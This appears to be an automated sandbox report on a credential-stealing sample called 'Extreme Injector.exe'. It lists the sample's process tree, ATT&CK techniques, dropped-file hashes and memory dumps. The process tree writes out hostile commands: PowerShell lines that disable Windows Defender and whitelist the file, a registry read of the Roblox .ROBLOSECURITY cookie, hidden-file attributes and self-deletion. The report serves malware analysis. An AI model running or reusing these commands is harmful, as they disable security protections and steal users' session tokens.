        "C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe"
        9⤵
        Executes dropped EXE
        
        PID:3040
        
        C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe"
        8⤵
        Executes dropped EXE
        
        PID:2988
        
        C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe"
        7⤵
        Executes dropped EXE
        
        PID:884
      - C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe"
        6⤵
        Drops file in Drivers directory
        Executes dropped EXE
        
        PID:1808
        
        C:\Windows\system32\attrib.exe
        
        "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe"
        7⤵
        Views/modifies file attributes
        
        PID:1688
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe'
        7⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:2544
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:1868
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:2660
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        7⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:2848
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" os get Caption
        7⤵
        
        PID:3068
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" computersystem get totalphysicalmemory
        7⤵
        
        PID:324
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" csproduct get uuid
        7⤵
        
        PID:1956
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:1304
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic" path win32_VideoController get name
        7⤵
        Detects videocard installed
        
        PID:1712
        
        C:\Windows\system32\cmd.exe
        
        "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe" && pause
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        
        PID:2080
        
        C:\Windows\system32\PING.EXE
        
        ping localhost
        8⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:1344
    - - C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe"
        5⤵
        Executes dropped EXE
        
        PID:2288
  - - C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe
      "C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe"
      4⤵
      Executes dropped EXE
      PID:2500
- - C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe
    "C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe"
    3⤵
    - Executes dropped EXE
    PID:2852
- C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe
  "C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe"
  2⤵
  - Drops file in Drivers directory
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1528
- - C:\Windows\system32\attrib.exe
    "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe"
    3⤵
    - Views/modifies file attributes
    PID:2060
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe'
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2992
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2632
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3064
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2700
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" os get Caption
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2012
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" computersystem get totalphysicalmemory
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2620
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" csproduct get uuid
    3⤵
    PID:1200
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:1668
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic" path win32_VideoController get name
    3⤵
    - Detects videocard installed
    PID:1732
- - C:\Windows\system32\cmd.exe
    "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe" && pause
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Suspicious use of WriteProcessMemory
    PID:1372
  - - C:\Windows\system32\PING.EXE
      ping localhost
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:2380

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\22O5WETYP62160u

Filesize
20KB

MD5
4b8cb1c375e36e9f102aa82b0f9f1d8a

SHA1
6de5c6a949460e5aa32fe93aca371ceb72d50c7a

SHA256
53e81eac5e42476160fa926cb8c15fbda2301f9f3bd13e1b42cfe48dabd1a54a

SHA512
2e59342c95366a2635f50a3876d22235c7229ea4526bdea2a2056db5380c6625637279b09e1629507ba89588287b7d2db6111399898598b4f744269a8a2dc968

Download Submit
C:\Users\Admin\AppData\Local\Temp\Cdutk8k1YZzJmDP

Filesize
46KB

MD5
02d2c46697e3714e49f46b680b9a6b83

SHA1
84f98b56d49f01e9b6b76a4e21accf64fd319140

SHA256
522cad95d3fa6ebb3274709b8d09bbb1ca37389d0a924cd29e934a75aa04c6c9

SHA512
60348a145bfc71b1e07cb35fa79ab5ff472a3d0a557741ea2d39b3772bc395b86e261bd616f65307ae0d997294e49b5548d32f11e86ef3e2704959ca63da8aac

Download Submit
C:\Users\Admin\AppData\Local\Temp\Extreme Injector.exe

Filesize
231KB

MD5
7d4400842d0ded3544bc7892c765816d

SHA1
c5a12688240f8db93e7482d16d145802445bfd71

SHA256
8b30696e9259851325272d57b9452ac2f6037231f1c6895658efb57e0445d064

SHA512
c6ba7dca5825784b680550d2cbc6528bcb0a5c1b6fbf2a65b2c54112a3c39858e01abb58915ff89c9c0011aa4200257659d516de6abd1f1d71e2eca0cadb065a

Download Submit
C:\Users\Admin\AppData\Local\Temp\SkNFXyotunWQAdo\Browsers\Cookies\Chrome Cookies.txt

Filesize
259B

MD5
69aac4fcd367fc97d40394377fee2f9c

SHA1
50b93b6622cf6d4ef9439faffe985f5ceee7f789

SHA256
bd511da65ea4b90350ee5772d15800a49a4aca514a0d80e317054d7edc825dc6

SHA512
464fd5d4515528058eafa6805d426929ac196e4c12dd438dfa50bcfe04509727e301020a2a24d2f13c19894e5bd4e485d7051105f69f71e8c92433a220764b01

Download Submit
C:\Users\Admin\AppData\Local\Temp\SkNFXyotunWQAdo\Display\Display.png

Filesize
385KB

MD5
9b0dcd488734f8400b476eafee89c45c

SHA1
4d3b2df4df978cc28f85021a909ab7bf423dfe57

SHA256
19d5d512560d29fe81fc7d1a8808ea1313b3fc6d7da3300bc9f9816c109c577e

SHA512
86e7f9ba04c07c233e4e31427579fe144c97e3a3ebbc32f08121add0faa08d782df2a1ced43fbbc076f262b979efa886485798908e7e4127c02778b451c9eb10

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
b7988ff117f0c4f4f90cc2c25665039e

SHA1
f95a4c673ed12ba352e3186b4d633dd6118e9feb

SHA256
5ca44b1b73a79eb8b0fed6fa918fb9f8807f523c8ee28b7a22b1d72c456ff86e

SHA512
ac7a0d11945ae7d564448d255e1fd7d936a18f4a29ca646de5d7112a331ef86d5c34a0d999edc2445acdf51354c3172edd892eca77252650f0c2b01afcc9def4

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
422c8fd27a9b0f30c69cf6e36e5188bf

SHA1
17564cd6ad62081ba8a451440ed615766b980fd0

SHA256
dba3dc5285ed93673ad7ec71ad5f703ee80a00167b51096b3ff00a7a44bae4aa

SHA512
282fc0807c0b2db3480d4c6944d5f7f293a775c6a57822bd28e523282ea970ccbc7945344b61273a4b6a142e35adb1e4ab9d24f0c3f3cdd94d5d9d6fe5626c2b

Download Submit
C:\Windows\System32\drivers\etc\hosts

Filesize
2KB

MD5
577f27e6d74bd8c5b7b0371f2b1e991c

SHA1
b334ccfe13792f82b698960cceaee2e690b85528

SHA256
0ade9ef91b5283eceb17614dd47eb450a5a2a371c410232552ad80af4fbfd5f9

SHA512
944b09b6b9d7c760b0c5add40efd9a25197c22e302c3c7e6d3f4837825ae9ee73e8438fc2c93e268da791f32deb70874799b8398ebae962a9fc51c980c7a5f5c

Download Submit
memory/484-11-0x000007FEF5B10000-0x000007FEF64FC000-memory.dmp

Filesize
9.9MB

Download
memory/484-9-0x000007FEF5B10000-0x000007FEF64FC000-memory.dmp

Filesize
9.9MB

Download
memory/560-111-0x0000000001220000-0x0000000001260000-memory.dmp

Filesize
256KB

Download
memory/588-291-0x0000000000050000-0x0000000000090000-memory.dmp

Filesize
256KB

Download
memory/1528-7-0x0000000000C00000-0x0000000000C40000-memory.dmp

Filesize
256KB

Download
memory/1712-437-0x0000000000390000-0x00000000003D0000-memory.dmp

Filesize
256KB

Download
memory/1780-625-0x00000000003C0000-0x0000000000400000-memory.dmp

Filesize
256KB

Download
memory/1968-207-0x0000000000030000-0x0000000000070000-memory.dmp

Filesize
256KB

Download
memory/2272-0-0x000007FEF5B13000-0x000007FEF5B14000-memory.dmp

Filesize
4KB

Download
memory/2272-1-0x000000013FA60000-0x000000013FBCC000-memory.dmp

Filesize
1.4MB

Download
memory/2272-8-0x000007FEF5B10000-0x000007FEF64FC000-memory.dmp

Filesize
9.9MB

Download
memory/2324-549-0x0000000000C20000-0x0000000000C60000-memory.dmp

Filesize
256KB

Download
memory/2344-587-0x00000000012D0000-0x0000000001310000-memory.dmp

Filesize
256KB

Download
memory/2544-68-0x0000000002920000-0x0000000002928000-memory.dmp

Filesize
32KB

Download
memory/2632-23-0x000000001B610000-0x000000001B8F2000-memory.dmp

Filesize
2.9MB

Download
memory/2632-25-0x0000000001EF0000-0x0000000001EF8000-memory.dmp

Filesize
32KB

Download
memory/2776-701-0x0000000000D20000-0x0000000000D60000-memory.dmp

Filesize
256KB

Download
memory/2832-325-0x00000000013D0000-0x0000000001410000-memory.dmp

Filesize
256KB

Download
memory/2992-17-0x00000000029F0000-0x00000000029F8000-memory.dmp

Filesize
32KB

Download
memory/2992-16-0x000000001B5F0000-0x000000001B8D2000-memory.dmp

Filesize
2.9MB

Download
memory/3012-253-0x00000000012A0000-0x00000000012E0000-memory.dmp

Filesize
256KB

Download
memory/3020-663-0x0000000000B90000-0x0000000000BD0000-memory.dmp

Filesize
256KB

Download